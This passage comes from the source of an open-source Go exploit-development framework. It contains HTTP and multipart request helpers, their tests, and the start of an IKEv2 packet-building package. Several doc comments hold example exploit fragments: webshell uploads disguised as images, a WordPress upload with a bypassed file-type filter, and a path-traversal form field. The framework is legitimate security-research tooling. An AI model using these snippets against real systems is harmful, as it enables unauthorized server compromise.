protocol.BasicAuth(conf.GetStringFlag(\"username\"), conf.GetStringFlag(\"password\")),\n//\t\t\"Cookie\":        sessionID,\n//\t})\nfunc BasicAuth(username, password string) string {\n\treturn \"Basic \" + transform.EncodeBase64(username+\":\"+password)\n}\n\nfunc parseCookies(headers []string) string {\n\tcookies := make([]string, len(headers))\n\n\tfor i, cookie := range headers {\n\t\tcookies[i] = strings.Split(cookie, \";\")[0]\n\t}\n\n\treturn strings.Join(cookies, \"; \")\n}\n\n// ParseCookies parses an HTTP response and returns a string suitable for a Cookie header.\nfunc ParseCookies(resp *http.Response) string {\n\treturn parseCookies(resp.Header.Values(\"Set-Cookie\"))\n}\n\n// Go doesn't always like sending our exploit URI so use this raw version. SSL not implemented.\nfunc DoRawHTTPRequest(rhost string, rport int, uri string, verb string) bool {\n\t// connect\n\tconn, success := TCPConnect(rhost, rport)\n\tif !success {\n\t\treturn false\n\t}\n\n\t// is the address v6?\n\tip := net.ParseIP(rhost)\n\tif ip != nil && ip.To4() == nil {\n\t\trhost = \"[\" + rhost + \"]\"\n\t}\n\n\thttpRequest := verb + \" \" + uri + \" HTTP/1.1\\r\\n\"\n\thttpRequest += \"Host: \" + rhost + \":\" + strconv.Itoa(rport) + \"\\r\\n\"\n\tif len(GlobalUA) != 0 {\n\t\thttpRequest += \"User-Agent: \" + GlobalUA + \"\\r\\n\"\n\t}\n\thttpRequest += \"Accept: */*\\r\\n\"\n\thttpRequest += \"\\r\\n\"\n\tsuccess = TCPWrite(conn, []byte(httpRequest))\n\tif !success {\n\t\treturn false\n\t}\n\n\t// don't currently care about the response. Read a byte and move on'\n\t_, success = TCPReadAmount(conn, 1)\n\n\treturn success\n}\n\n// Cache the respsone in the database for later reuse.\nfunc cacheResponse(req *http.Request, resp *http.Response) {\n\tparsedURL, _ := url.Parse(req.URL.String())\n\tport, err := strconv.Atoi(parsedURL.Port())\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn\n\t}\n\n\trespBuffer := &bytes.Buffer{}\n\terr = resp.Write(respBuffer)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Resp write error: %s\", err.Error())\n\n\t\treturn\n\t}\n\n\tdb.CacheHTTPResponse(parsedURL.Hostname(), port, parsedURL.Path, respBuffer.Bytes())\n}\n\n// Look up matching URI in the HTTP cache and return it if found.\nfunc cacheLookup(uri string) (*http.Response, string, bool) {\n\tparsedURL, _ := url.Parse(uri)\n\tport, err := strconv.Atoi(parsedURL.Port())\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, \"\", false\n\t}\n\n\tcachedResp, ok := db.GetHTTPResponse(parsedURL.Hostname(), port, parsedURL.Path)\n\tif !ok {\n\t\t// didn't get any cache data. no big deal.\n\t\treturn nil, \"\", false\n\t}\n\n\tresp, err := http.ReadResponse(bufio.NewReader(strings.NewReader(cachedResp)), nil)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, \"\", false\n\t}\n\tdefer resp.Body.Close()\n\n\tbodyBytes, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\t// seen this fail when, for example, Shodan messes with chunking\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, \"\", false\n\t}\n\tif bytes.HasPrefix(bodyBytes, []byte(\"\\x1f\\x8b\\x08\")) {\n\t\t// if the data in the cache is still compressed, decompress it\n\t\tbodyBytes, ok = transform.Inflate(bodyBytes)\n\t\tif !ok {\n\t\t\treturn nil, \"\", false\n\t\t}\n\t}\n\n\toutput.PrintfFrameworkTrace(\"HTTP cache hit: %s\", uri)\n\n\tbodyString := string(bodyBytes)\n\n\treturn resp, bodyString, true\n}\n\n// Provided an HTTP client and a request, this function triggers the HTTP request and converts\n// the response body to a string.\nfunc DoRequest(client *http.Client, req *http.Request) (*http.Response, string, bool) {\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"HTTP request error: %s\", err)\n\n\t\treturn resp, \"\", false\n\t}\n\tdefer resp.Body.Close()\n\n\tbodyBytes, _ := io.ReadAll(resp.Body)\n\n\treturn resp, string(bodyBytes), true\n}\n\n// Turns net/http []*Cookie into a string for adding to the Cookie header.\n//\n//\tif resp.StatusCode == 302 {\n//\t\toutput.PrintfStatus(\"Account '%s' appears to be successfully registered with password '%s'\", email, password)\n//\n//\t\treturn protocol.CookieString(resp.Cookies()), true\n//\t}\nfunc CookieString(cookies []*http.Cookie) string {\n\tcookieString := \"\"\n\tfor c, cookie := range cookies {\n\t\tif c == 0 {\n\t\t\tcookieString += cookie.Name + \"=\" + cookie.Value + \";\"\n\t\t} else {\n\t\t\tcookieString += \" \" + cookie.Name + \"=\" + cookie.Value + \";\"\n\t\t}\n\t}\n\n\treturn cookieString\n}\n\n// Converts a map of strings into a single string in application/x-www-urlencoded format (but does not encode the params).\nfunc CreateRequestParams(params map[string]string) string {\n\tdata := \"\"\n\tfor key, element := range params {\n\t\tif len(data) > 0 {\n\t\t\tdata += \"&\"\n\t\t}\n\t\tdata += (key + \"=\" + element)\n\t}\n\n\treturn data\n}\n\n// CreateRequestParamsEncoded is the encoded version of CreateRequestParams.\nfunc CreateRequestParamsEncoded(params map[string]string) string {\n\tparamsCopy := make(map[string]string)\n\n\tfor k, v := range params {\n\t\tparamsCopy[k] = url.QueryEscape(v)\n\t}\n\n\treturn CreateRequestParams(paramsCopy)\n}\n\n// Provided a map of headers, this function loops through them and sets them in the http request.\nfunc SetRequestHeaders(req *http.Request, headers map[string]string) {\n\tfor key, value := range headers {\n\t\tif key == \"Host\" {\n\t\t\t// host can't be set directly\n\t\t\treq.Host = value\n\t\t} else {\n\t\t\t// don't use the Set function because the module might modify key. Set the header directly.\n\t\t\treq.Header[key] = []string{value}\n\t\t}\n\t}\n}\n\n// Creates the HTTP client, generates the HTTP request, and sets the default user-agent.\nfunc CreateRequest(verb string, url string, payload string, followRedirect bool) (*http.Client, *http.Request, bool) {\n\tvar client *http.Client\n\tif !followRedirect {\n\t\tclient = &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tProxy: http.ProxyFromEnvironment,\n\t\t\t\tDial: (&net.Dialer{\n\t\t\t\t\tTimeout: time.Duration(GlobalCommTimeout) * time.Second,\n\t\t\t\t}).Dial,\n\t\t\t\tTLSClientConfig: (&tls.Config{\n\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\t\t\tMinVersion: tls.VersionSSL30,\n\t\t\t\t}),\n\t\t\t},\n\t\t\tTimeout: time.Duration(GlobalCommTimeout) * time.Second,\n\t\t\tCheckRedirect: func(_ *http.Request, _ []*http.Request) error {\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t},\n\t\t}\n\t} else {\n\t\tclient = &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tProxy: http.ProxyFromEnvironment,\n\t\t\t\tDial: (&net.Dialer{\n\t\t\t\t\tTimeout: time.Duration(GlobalCommTimeout) * time.Second,\n\t\t\t\t}).Dial,\n\t\t\t\tTLSClientConfig: (&tls.Config{\n\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\t\t\tMinVersion: tls.VersionSSL30,\n\t\t\t\t}),\n\t\t\t},\n\t\t\tTimeout: time.Duration(GlobalCommTimeout) * time.Second,\n\t\t}\n\t}\n\n\treq, err := http.NewRequest(verb, url, strings.NewReader(payload))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"HTTP request creation error: %s\", err)\n\n\t\treturn nil, nil, false\n\t}\n\n\t// set headers on the request\n\treq.Header.Set(\"User-Agent\", GlobalUA)\n\n\treturn client, req, true\n}\n\n// Generic send HTTP request and receive response.\nfunc HTTPSendAndRecv(verb string, url string, payload string) (*http.Response, string, bool) {\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\treturn DoRequest(client, req)\n}\n\n// Send a HTTP GET request and cache it in the go-exploit database.\nfunc HTTPGetCache(url string) (*http.Response, string, bool) {\n\t// first see if we have it cached somewhere\n\tif db.GlobalSQLHandle != nil {\n\t\tresp, body, ok := cacheLookup(url)\n\t\tif ok {\n\t\t\treturn resp, body, true\n\t\t}\n\t}\n\n\tclient, req, ok := CreateRequest(\"GET\", url, \"\", true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"HTTP request error: %s\", err)\n\n\t\treturn resp, \"\", false\n\t}\n\tdefer resp.Body.Close()\n\n\tbodyBytes, _ := io.ReadAll(resp.Body)\n\tbodyString := string(bodyBytes)\n\n\tif db.GlobalSQLHandle != nil {\n\t\t// shove the body back in to be re-read for storage\n\t\tresp.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))\n\t\tcacheResponse(req, resp)\n\t}\n\n\treturn resp, bodyString, true\n}\n\n// Send an HTTP request but do not follow the 302 redirect.\nfunc HTTPSendAndRecvNoRedirect(verb string, url string, payload string) (*http.Response, string, bool) {\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\t// ignore the redirect\n\tclient.CheckRedirect = func(_ *http.Request, _ []*http.Request) error {\n\t\treturn http.ErrUseLastResponse\n\t}\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request, with the provided parameters in the params map stored in the body.\n// Return the response and response body.\n//\n// Note that this function *will not* attempt to url encode the params.\nfunc HTTPSendAndRecvURLEncoded(verb string, url string, params map[string]string) (*http.Response, string, bool) {\n\tpayload := CreateRequestParams(params)\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request, with the provided parameters in the params map URL encoded in the body.\n// Return the response and response body.\n//\n// Note that this function *will* attempt to url encode the params.\nfunc HTTPSendAndRecvURLEncodedParams(verb string, url string, params map[string]string) (*http.Response, string, bool) {\n\tpayload := CreateRequestParamsEncoded(params)\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request, with the provided parameters in the params map stored in the body, and\n// with extra headers specified in the headers map. Return the response and response body.\n//\n// Note that this function *will not* attempt to url encode the params.\nfunc HTTPSendAndRecvURLEncodedAndHeaders(verb string, url string, params map[string]string,\n\theaders map[string]string,\n) (*http.Response, string, bool) {\n\tpayload := CreateRequestParams(params)\n\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tSetRequestHeaders(req, headers)\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request, with the provided parameters in the params map URL encoded in the body, and\n// with extra headers specified in the headers map. Return the response and response body.\n//\n// Note that this function *will* attempt to url encode the params.\nfunc HTTPSendAndRecvURLEncodedParamsAndHeaders(verb string, url string, params map[string]string,\n\theaders map[string]string,\n) (*http.Response, string, bool) {\n\tpayload := CreateRequestParamsEncoded(params)\n\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tSetRequestHeaders(req, headers)\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request with extra headers specified in the headers map. Return the response and response body.\nfunc HTTPSendAndRecvWithHeaders(verb string, url string, payload string, headers map[string]string) (*http.Response, string, bool) {\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\tSetRequestHeaders(req, headers)\n\n\treturn DoRequest(client, req)\n}\n\n// Send an HTTP request with extra headers and does not follow redirects. This naming scheme is a little out of control.\nfunc HTTPSendAndRecvWithHeadersNoRedirect(verb string, url string, payload string,\n\theaders map[string]string,\n) (*http.Response, string, bool) {\n\tclient, req, ok := CreateRequest(verb, url, payload, true)\n\tif !ok {\n\t\treturn nil, \"\", false\n\t}\n\n\t// ignore the redirect\n\tclient.CheckRedirect = func(_ *http.Request, _ []*http.Request) error {\n\t\treturn http.ErrUseLastResponse\n\t}\n\n\tSetRequestHeaders(req, headers)\n\n\treturn DoRequest(client, req)\n}\n\n// Create a HTTP multipart form and writer. This is a helper function around the Go standard library packages and can be combined with MultipartAddField, MultipartAddPart, and MultipartAddFile functions to quickly create complicated multipart requests.\n//\n//\tform, formWriter := protocol.MultipartCreateForm()\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"uploadPath\"`,\n//\t}, `/`)\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"uploadFile_x\"`,\n//\t}, `-1000`)\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"uploadFile_y\"`,\n//\t}, `-1000`)\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"uploadFile_width\"`,\n//\t}, `1920`)\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"uploadFile_height\"`,\n//\t}, `1080`)\n//\tprotocol.MultipartAddFile(formWriter, \"uploadFile\", fmt.Sprintf(\"%s.bmp\", name), \"image/bmp\", webshellData)\n//\tformWriter.Close()\n//\n//\turl := conf.GenerateURL(\"/simpleeditor/imageManager/uploadImage.do\")\n//\theaders := map[string]string{\n//\t\t\"Content-Type\": fmt.Sprintf(`multipart/form-data; boundary=\"%s\"`, formWriter.Boundary()),\n//\t}\n//\n//\toutput.PrintfStatus(\"Exploiting %s\", url)\n//\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"POST\", url, form.String(), headers)\n//\tif !ok {\n//\t\treturn false\n//\t}\n//\tif resp.StatusCode != 200 {\n//\t\toutput.PrintfDebug(\"RunExploit failed: status-code=%d resp=%#v body=%q\", resp.StatusCode, resp, body)\n//\n//\t\treturn false\n//\t}\nfunc MultipartCreateForm() (*strings.Builder, *multipart.Writer) {\n\tform := &strings.Builder{}\n\tw := multipart.NewWriter(form)\n\n\treturn form, w\n}\n\n// Adds a multipart field for data values without additional header or file requirements.\n//\n//\toutput.PrintfStatus(\"Uploading file: %s\", fileName)\n//\tform, w := protocol.MultipartCreateForm()\n//\n//\tprotocol.MultipartAddField(w, \"action\", \"wpr_addons_upload_file\")\n//\tprotocol.MultipartAddField(w, \"max_file_size\", \"0\")\n//\tprotocol.MultipartAddField(w, \"allowed_file_types\", \"ph$p\")\n//\tprotocol.MultipartAddField(w, \"triggering_event\", \"click\")\n//\tprotocol.MultipartAddField(w, \"wpr_addons_nonce\", nonce)\n//\tprotocol.MultipartAddFile(w, \"uploaded_file\", fileName, \"text/plain\", generated)\n//\n//\tw.Close()\nfunc MultipartAddField(writer *multipart.Writer, name string, value string) bool {\n\tfw, err := writer.CreateFormField(name)\n\tif err != nil {\n\t\treturn false\n\t}\n\t_, err = io.Copy(fw, strings.NewReader(value))\n\n\treturn err == nil\n}\n\n// MultipartCreateFormFields generates multipart form data out of the field names and values\n// provided via fieldMap and writes this to writer. It returns a bool to indicate success or failure.\n//\n//\twebshellName := fmt.Sprintf(\"%s.php\", random.RandLettersRange(3, 5))\n//\tform, formWriter := protocol.MultipartCreateForm()\n//\tfields := map[string]string{\n//\t\t\"dzuuid\":            uuid.NewString(),\n//\t\t\"dzchunkindex\":      \"0\",\n//\t\t\"dztotalfilesize\":   fmt.Sprintf(\"%d\", len(webshellContents)),\n//\t\t\"dzchunksize\":       \"2000000\",\n//\t\t\"dztotalchunkcount\": \"1\",\n//\t\t\"dzchunkbyteoffset\": \"0\",\n//\t\t\"fwbrand\":           conf.GetStringFlag(\"path\"),\n//\t\t\"fwmodel\":           random.RandLettersRange(3, 5),\n//\t\t\"fwversion\":         fmt.Sprintf(\"%d\", random.RandIntRange(1, 10)),\n//\t}\n//\n//\tif !protocol.MultipartCreateFormFields(formWriter, fields) {\n//\t\toutput.PrintDebug(\"Failed creating multipart form fields\")\n//\n//\t\treturn \"\", false\n//\t}\n//\n//\tif !protocol.MultipartAddFile(formWriter, \"file\", webshellName, \"application/octet-stream\", webshellContents) {\n//\t\toutput.PrintDebug(\"Failed adding file to multipart form\")\n//\n//\t\treturn \"\", false\n//\t}\n//\n//\tformWriter.Close()\n//\n//\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"POST\", url, form.String(), map[string]string{\n//\t\t\"Cookie\":       cookies,\n//\t\t\"Content-Type\": formWriter.FormDataContentType(),\n//\t\t\"Referer\":      conf.GenerateURL(\"/admin/config.php?display=endpoint&view=custfwupgrade\"),\n//\t})\n//\tif !ok {\n//\t\treturn \"\", false\n//\t}\nfunc MultipartCreateFormFields(writer *multipart.Writer, fieldMap map[string]string) bool {\n\tfor fieldName, value := range fieldMap {\n\t\tif ok := MultipartAddField(writer, fieldName, value); !ok {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Create part for multipart forms that can include the header types.\n//\n//\tform, formWriter := protocol.MultipartCreateForm()\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"real\"`,\n//\t\t\"Content-Type\":        \"text/plain\",\n//\t}, fmt.Sprintf(`/../../../%s/`, mainPath))\n//\tprotocol.MultipartAddPart(formWriter, map[string]string{\n//\t\t\"Content-Disposition\": `form-data; name=\"version\"`,\n//\t\t\"Content-Type\":        \"text/plain\",\n//\t}, random.RandLettersRange(8, 10))\n//\tprotocol.MultipartAddFile(\n//\t\tformWriter,\n//\t\t\"file\",\n//\t\trandom.RandLettersRange(8, 17)+\".zip\",\n//\t\t\"application/octet-stream\",\n//\t\tstring(zipFile),\n//\t)\n//\tformWriter.Close()\nfunc MultipartAddPart(writer *multipart.Writer, headers map[string]string, body string) bool {\n\th := make(textproto.MIMEHeader)\n\tfor k, v := range headers {\n\t\th.Set(k, v)\n\t}\n\n\tfw, err := writer.CreatePart(h)\n\tif err != nil {\n\t\treturn false\n\t}\n\t_, err = io.Copy(fw, strings.NewReader(body))\n\n\treturn err == nil\n}\n\n// Add a file and content type for a multipart form.\nfunc MultipartAddFile(writer *multipart.Writer, name, filename, ctype, value string) bool {\n\t// CreateFormFile doesn't expose Content-Type\n\treturn MultipartAddPart(writer, map[string]string{\n\t\t\"Content-Disposition\": fmt.Sprintf(`form-data; name=\"%s\"; filename=\"%s\"`, name, filename),\n\t\t\"Content-Type\":        ctype,\n\t}, value)\n}\n\n// Provided an HTTP request, find the Set-Cookie headers, and extract\n// the value of the specified cookie.\nfunc GetSetCookieValue(resp *http.Response, name string) (string, bool) {\n\tcookies, ok := resp.Header[\"Set-Cookie\"]\n\tif !ok {\n\t\toutput.PrintError(\"Missing Set-Cookie header\")\n\n\t\treturn \"\", false\n\t}\n\n\tfor _, entry := range cookies {\n\t\tif strings.HasPrefix(entry, name+\"=\") {\n\t\t\tend := len(entry)\n\t\t\tindex := strings.Index(entry, \";\")\n\t\t\tif index != -1 {\n\t\t\t\tend = index\n\t\t\t}\n\n\t\t\treturn entry[len(name+\"=\"):end], true\n\t\t}\n\t}\n\n\treturn \"\", false\n}\n"
  },
  {
    "path": "protocol/httphelper_test.go",
    "content": "package protocol\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc TestBasicAuth(t *testing.T) {\n\tauth := BasicAuth(\"foo\", \"bar\")\n\n\tif auth != \"Basic Zm9vOmJhcg==\" {\n\t\tt.Fatal(auth)\n\t}\n\n\tt.Log(auth)\n}\n\nfunc TestParseCookies(t *testing.T) {\n\tcookies := parseCookies([]string{\n\t\t\"cookie1=foo; path=/\",\n\t\t\"cookie2=bar;\",\n\t\t\"cookie3=baz\",\n\t})\n\n\tif cookies != \"cookie1=foo; cookie2=bar; cookie3=baz\" {\n\t\tt.Fatal(cookies)\n\t}\n\n\tt.Log(cookies)\n}\n\nfunc TestBuildURI(t *testing.T) {\n\turi := BuildURI(\"a\", \"file\", \"path\")\n\n\tif uri != \"/a/file/path\" {\n\t\tt.Fatal(uri)\n\t}\n\n\turi = BuildURI(\"a\", \"\", \"path\")\n\tif uri != \"/a/path\" {\n\t\tt.Fatal(uri)\n\t}\n\n\turi = BuildURI(\"\")\n\tif uri != \"/\" {\n\t\tt.Fatal(uri)\n\t}\n}\n\nfunc TestGenerateURL(t *testing.T) {\n\turi := GenerateURL(\"google.com\", 443, true, \"/\")\n\tif uri != \"https://google.com:443/\" {\n\t\tt.Fatal(uri)\n\t}\n\turi = GenerateURL(\"google.com\", 443, true, \"/helloworld\")\n\tif uri != \"https://google.com:443/helloworld\" {\n\t\tt.Fatal(uri)\n\t}\n\turi = GenerateURL(\"::1\", 1270, false, \"/\")\n\tif uri != \"http://[::1]:1270/\" {\n\t\tt.Fatal(uri)\n\t}\n}\n\nfunc TestCookieString(t *testing.T) {\n\t// Normally you might not want duplicates, but there are common bugs with that handling\n\t// so it might be wanted for hacks.\n\ttestCookies := []*http.Cookie{\n\t\t{Name: \"testname\", Value: \"testvalue\"},\n\t\t{Name: \"testname\", Value: \"testvalue\"},\n\t\t{Name: \"test2name\", Value: \"test2value\"},\n\t\t{Name: \"stuff\", Value: \"stuff\"},\n\t}\n\tcookieStr := CookieString(testCookies)\n\tif cookieStr != `testname=testvalue; testname=testvalue; test2name=test2value; stuff=stuff;` {\n\t\tt.Fatal(cookieStr)\n\t}\n}\n"
  },
  {
    "path": "protocol/ikev2/ikev2.go",
    "content": "// Package ikev2\n// A (very) basic framework for an ikev2 protocol.\n// The intent with adding this package is not to add an entire, fully functional protocol but rather providing a convenient interface for generating the data structures for ike-related exploits.\n// The goal is to add to this as we go, as new exploits demand it.\n//\n// Using this will probably require you to make your own SAInit function to generate the message data and then sending it over the ikeClient connection.\n// A basic example of something like this follows:\n//\n//\tfunc saInit(ikeClient *ikev2.IkeClient, diffieHellmanGroup int) ([]byte, bool) {\n//\n//\t   ikeClient.IkeCrypto = ikev2.IkeCrypto{}\n//\t   ikeClient.IkeCrypto.Init()\n//\t   ok := ikeClient.IkeCrypto.GenerateDHKey(diffieHellmanGroup)\n//\t   if !ok {\n//\t   \treturn []byte{}, false\n//\t   }\n//\n//\t   defaultTransforms := []ikev2.IkeTransform{\n//\t   \t{NextPayload: ikev2.PayloadType[\"TRANSFORM\"], TransformType: ikev2.TransformType[\"ENCRYPTION_ALGORITHM\"], TransformID: ikev2.EncryptionAlgorithm[\"ENCR_AES_CBC\"], TransformAttributes: 0x800e0100},\n//\t   }\n//\n//\t   message := make([]byte, 0)\n//\t   header := ikev2.IkePackHeader(ikeClient, ikev2.PayloadType[\"SECURITY_ASSOCIATION\"], 0x20, ikev2.ExchangeType[\"IKE_SA_INIT\"], 0x08, 0x0)\n//\t   message = append(message, ikev2.IkePackSecurityAssociation(ikev2.PayloadType[\"KEY_EXCHANGE\"], ikev2.IkePackProposal(ikev2.PayloadType[\"NONE\"], 1, 1, defaultTransforms, \"\"))...)\n//\t   message = append(message, ikev2.IkePackKeyExchange(ikev2.PayloadType[\"NONCE\"], ikev2.DiffieHellmanGroup[\"DH_GROUP_2048_BIT_MODP\"], ikeClient.IkeCrypto.ClientPubKey.Bytes())...)\n//\t   message = append(message, ikev2.IkePackNonce(ikev2.PayloadType[\"NOTIFY\"], ikeClient.IkeCrypto.InitNonce)...)\n//\n//\t   tempBytes, _ := hex.DecodeString(\"deadbeef\")\n//\t   message = append(message, ikev2.IkePackNotify(ikev2.PayloadType[\"NOTIFY\"], ikev2.NotifyType[\"NAT_DETECTION_DESTINATION_IP\"], tempBytes, 1, 0)...)\n//\n//\t   tempBytes, _ = hex.DecodeString(\"0021030203030006\")\n//\t   message = append(message, ikev2.IkePackNotify(ikev2.PayloadType[\"NONE\"], ikev2.NotifyType[\"SIGNATURE_HASH_ALGORITHMS\"], tempBytes, 0, 0)...)\n//\n//\t   // combining the message\n//\t   payload := make([]byte, 0)\n//\t   payload = append(header, []byte(transform.PackBigInt32(len(message)+len(header)+4))...)\n//\t   payload = append(payload, message...)\n//\t   return payload, true\n//\t}\n//\n//\tfunc main() {\n//\t   ikeClient := ikev2.IkeClient{}\n//\t   saInitPayload, _ := saInit(&ikeClient, ikev2.DiffieHellmanGroup[\"DH_GROUP_2048_BIT_MODP\"])\n//\t   if !ok {\n//\t   \toutput.PrintError(\"error encountered while generating SAInit payload\")\n//\t   \treturn false\n//\t   }\n//\n//\t   if !ikeClient.Connect(conf){\n//\t   \treturn false\n//\t   }\n//\n//\t   _, err := ikeClient.Conn.Write([]byte(saInitPayload))\n//\t   if err != nil {\n//\t   \toutput.PrintfDebug(\"SAInit Send failed: %s\", err.Error())\n//\t   \treturn false\n//\t   }\n//\t   output.PrintDebug(\"Sent SAInit message\")\n//\t}\npackage ikev2\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/binary\"\n\t\"math/big\"\n\tmrand \"math/rand\"\n\t\"net\"\n\t\"strconv\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nfunc Uint64ToString(num uint64) []byte {\n\tbytes := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(bytes, num)\n\n\treturn bytes\n}\n\nfunc generateNonce(length int) ([]byte, bool) {\n\tnonce := make([]byte, length)\n\t_, err := rand.Read(nonce)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Error while generating nonce: %s\", err.Error())\n\n\t\treturn []byte{}, false\n\t}\n\n\treturn nonce, true\n}\n\n// Switch case is here in case anyone wants to add additional DH support.\nfunc (ikeCrypto *IkeCrypto) GenerateDHKey(diffieHellmanGroup int) bool {\n\tswitch diffieHellmanGroup {\n\tcase DiffieHellmanGroup[\"DH_GROUP_2048_BIT_MODP\"]:\n\t\tikeCrypto.Prime = new(big.Int)\n\t\tikeCrypto.Prime.SetString(\"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF\", 16) // https://www.ietf.org/rfc/rfc3526.txt\n\t\tg := big.NewInt(2)\n\t\tikeCrypto.ClientPrivKey, _ = rand.Int(rand.Reader, ikeCrypto.Prime)\n\t\tikeCrypto.ClientPubKey = new(big.Int).Exp(g, ikeCrypto.ClientPrivKey, ikeCrypto.Prime)\n\n\t\treturn true\n\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Provided DH group is currently unsupported.\")\n\n\t\treturn false\n\t}\n}\n\nfunc (ikeCrypto *IkeCrypto) Init() bool {\n\tvar ok bool\n\tikeCrypto.InitNonce, ok = generateNonce(32)\n\tif !ok {\n\t\treturn false\n\t}\n\tikeCrypto.RespNonce = []byte{}\n\tikeCrypto.InitSPI = mrand.Uint64()\n\tikeCrypto.RespSPI = 0x0000000000000000\n\n\treturn true\n}\n\n// An initial reset/connect helper function.\nfunc (ikeClient *IkeClient) Connect(conf *config.Config) bool {\n\tvar err error\n\tif ikeClient.Conn != nil {\n\t\terr = ikeClient.Conn.Close()\n\t\tif err != nil {\n\t\t\t// we probably do not want to exit on this, we're establishing a new connection anyways\n\t\t\toutput.PrintfFrameworkWarn(\"Failed to close socket: %s\", err.Error())\n\t\t}\n\t}\n\n\tconnectionString := net.JoinHostPort(conf.Rhost, strconv.Itoa(conf.Rport))\n\tikeClient.Conn, err = net.Dial(\"udp\", connectionString)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Dial failed: %s\", err.Error())\n\n\t\treturn false\n\t}\n\n\toutput.PrintfFrameworkDebug(\"Successfully established UDP connection to %s\", connectionString)\n\n\treturn true\n}\n"
  },
  {
    "path": "protocol/ikev2/ikev2_test.go",
